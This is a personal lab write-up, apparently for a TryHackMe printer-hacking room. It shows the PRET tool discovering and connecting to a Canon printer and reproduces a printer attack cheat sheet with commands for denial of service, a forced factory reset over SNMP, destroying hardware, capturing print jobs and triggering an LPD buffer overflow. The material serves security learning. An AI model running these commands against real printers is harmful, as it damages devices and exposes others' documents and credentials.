

# Printer Hacking

> This challenge is in [www.tryhackme.com/room/printerhacking101](http://www.tryhackme.com/room/printerhacking101)

> I am going to use <https://github.com/RUB-NDS/PRET> library

```
|> cd ./PRET
```

```
| > python3 pret.py
```

PIN: you should install `pysnmP` for run PRET

```
|> pip3 install colorama pysnmp
```

Note : My printer is canon gm series 2040.

## CODE

1. First we are going to scan printers ( and IPs)

```
levvtol@whatafuckisthis:~/Downloads/PRET$ python3 pret.py
No target given, discovering local printers
```

address	device	uptime	status
192.168.0.106	Canon GM2000 series 1.000	0:10:49	Ready to print.

```
usage: pret.py [-h] [-s] [-q] [-d] [-i file] [-o file] target {ps,pjl,pcl}
pret.py: error: the following arguments are required: target, mode
```

2. Now we have ip {192.168.0.106} Next thing is going to connect to printer. There have 3 different ways.

```
python3 pret.py {IP} pjl
```

```
python3 pret.py laserjet.lan ps
```

```
python3 pret.py /dev/usb/lp0 pcl
```

2.1. Iam going to try first way: (good job >> work)

```
levvtol@whatafuckisthis:~/Downloads/PRET$ python3 pret.py 192.168.0.106 pjl
```

[illegible]

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```

```
└─ pentesting tool that made
  dumpster diving obsolete.. ┘
```

```
Connection to 192.168.0.106 established
Device: Command execution failed (timed out)
```

```
Forcing reconnect. Connection closed.  
Connection to 192.168.0.106 established
```

```
Welcome to the pret shell. Type help or ? to list commands.
192.168.0.106:/>
```

### 2.1.1 Lets try other 2 way

```
|> python3 pret.py laserjet.lan ps
```

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levvtol@whatafuckisthis:~/Downloads/PRET$ python3 pret.py laserjet.lan ps
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Connection to laserjet.lan failed (Name or service not known)
Connection closed.

```

```
|> python3 pret.py /dev/usb/lp0 pcl >>> this method also doesn't work
```

## 2.2 command list:

Command	PS	PJL	PCL	Description
ls	✓	✓	✓	List contents of remote directory.
get	✓	✓	✓	Receive file: get <file>
put	✓	✓	✓	Send file: put <local file>
append	✓	✓		Append to file: append <file> <str>
delete	✓	✓	✓	Delete remote file: delete <file>
rename	✓			Rename remote file: rename <old> <new>
find	✓	✓		Recursively list directory contents.
mirror	✓	✓		Mirror remote filesystem to local dir.
cat	✓	✓	✓	Output remote file to stdout.
edit	✓	✓	✓	Edit remote files with vim.
touch	✓	✓		Update file timestamps: touch <file>
mkdir	✓	✓		Create remote directory: mkdir <path>
cd	✓	✓		Change remote working directory.
pwd	✓	✓		Show working directory on device.
chvol	✓	✓		Change remote volume: chvol <volume>
traversal	✓	✓		Set path traversal: traversal <path>
format	✓	✓		Initialize printer's file system.
fuzz	✓	✓		File system fuzzing: fuzz <category>
<div> <div>path</div> <div>- Explore fs structure with path traversal strategies.</div> </div> <div> <div>write</div> <div>- First put/append file, then check for its existence.</div> </div> <div> <div>blind</div> <div>- Read-only tests for existing files like /etc/passwd.</div> </div>				
df	✓	✓		Show volume information.
free	✓	✓	✓	Show available memory.

3. Last important point is cheat sheat for complete mission.

Category	Attack	Protocol	Testing
Denial of service	Transmission channel	TCP	<code>while true; do nc printer 9100; done</code>
	Document processing	PS	PRET commands: <code>disable</code> , <code>hang</code>
		PJL	PRET commands: <code>disable</code> , <code>offline</code>
	Physical damage	PS	PRET command: <code>destroy</code>
		PJL	PRET command: <code>destroy</code>
Privilege escalation	Factory defaults	SNMP	<code>snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6</code>
		PML	PRET command: <code>reset</code>
		PS	PRET command: <code>reset</code>
	Accounting bypass	TCP	Connect to printer directly, bypassing the print server
		IPP	Check if you can set a username without authentication
		PS	Check if PostScript code is preprocessed on print server
		PJL	PRET command: <code>pagecount</code>
	Fax and Scanner	multiple	Install printer driver and (ab)use fax/scan functionality
Print job access	Print job retention	PS	PRET command: <code>capture</code>
	Print job manipulation	PS	PRET commands: <code>cross</code> , <code>overlay</code> , <code>replace</code>
Information disclosure	Memory access	PJL	PRET command: <code>nvramp dump</code>
	File system access	PS	PRET commands: <code>fuzz</code> , <code>ls</code> , <code>get</code> , <code>put</code> , ...
		PJL	PRET commands: <code>fuzz</code> , <code>ls</code> , <code>get</code> , <code>put</code> , ...
	Credential disclosure	PS	PRET commands: <code>lock</code> , <code>unlock</code>
		PJL	PRET commands: <code>lock</code> , <code>unlock</code>
Code execution	Buffer overflows	PJL	PRET command: <code>flood</code>
		LPD	<code>./lpdtest.py printer in "`python -c 'print "x"*3000'`"</code>
	Firmware updates	PJL	Flip a bit, check if the modified firmware is still accepted
	Software packages	multiple	Obtain an SDK and write your own proof-of-concept application

[http://hacking-printers.net/wiki/index.php/Printer\\_Security\\_Testing\\_Cheat\\_Sheet](http://hacking-printers.net/wiki/index.php/Printer_Security_Testing_Cheat_Sheet)

Iam going to use PJL and as you see its open all kind of commands.

Problem >> command execution failed(timed out)

```
192.168.0.106:/> ls
Command execution failed (timed out)

Forcing reconnect. Connection closed.
Connection to 192.168.0.106 established

192.168.0.106:/> █
```